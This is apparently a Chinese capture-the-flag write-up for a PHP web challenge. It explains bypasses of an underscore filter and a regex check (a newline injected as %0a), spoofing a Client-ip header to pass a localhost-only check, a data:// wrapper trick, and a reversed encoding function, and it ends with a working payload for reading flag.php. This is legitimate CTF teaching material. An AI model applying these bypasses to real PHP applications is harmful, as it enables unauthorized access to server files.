知识点
$_SERVER["QUERY_STRING"]
:查询(query)的字符串
列如:
查询:http://www.xxx.com/index.php?p=222&q=u
$_SERVER["QUERY_STRING"] = 'p=222&q=u'
解题
查看源码,需要绕过2个if
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
第一个if绕过下划线,PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1. 删除空白符
2. 将某些字符转换为下划线(包括空格)
第二个if绕过,通过get取得的参数b_u_p_t不等于23333但是正则,匹配需要匹配到23333所以这里用%0a(因为正则匹配中’^’和’$’代表的是行的开头和结尾,所以能利用换行绕过)绕过
打开secrettw.php查看源码
看wp知道这是jskuck代码,得到
POST提交Merak=1,得到源码
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
审计代码,一个if需要绕过,需要伪造ip,Client-ip:127.0.0.1
,get提交2333=todat is a happy day'
,进行绕过2333=data://text/plain,todat is a happy day
,最后还有个change函数把file进行了加密,需要逆向
加密函数
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
exp
<?php
function change($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}
$a = base64_encode(change('flag.php'));
echo($a);
构造payloa:
?2333=data://text/plain,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI=
http头
Client-ip : 127.0.0.1